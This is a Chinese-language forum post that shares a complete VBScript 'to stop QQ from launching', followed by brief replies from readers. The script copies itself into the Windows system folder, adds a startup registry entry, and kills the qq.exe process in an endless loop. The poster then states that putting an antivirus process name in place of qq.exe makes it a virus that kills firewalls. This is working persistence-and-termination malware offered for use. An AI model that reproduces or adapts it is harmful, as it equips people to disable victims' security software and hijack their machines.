VB 打造禁止QQ启动程序

3721

本帖旨在交流VB编程技术，希望大家不要用于不良用途！！！
                  能力有限，疏漏之处，欢迎指正
On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
Set r=CreateObject("Wscript.Shell")
so.GetFile(WScript.ScriptFullName).Copy(dir2&"\system.vbs")
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\system","system.vbs"
do
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = ‘qq.exe‘")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
loop
把上面的qq.exe改成防病毒软件的进程命就能变成杀防火墙的病毒了

fxianggan

向楼主学习呀  

KINGMACY

感谢楼主分享

KINGMACY

楼主你QQ多少啊 ，我的QQ993351232，有事联系

CSjoker

正在学VB,看看源码...

易团俊

额  好无语啊

柒柒七

VB好学吗？                    

wAnGsky

{:3_227:}{:3_227:}{:3_227:}

taiZi

{:3_227:}  没学过，

火星败类

好啊~{:3_235:}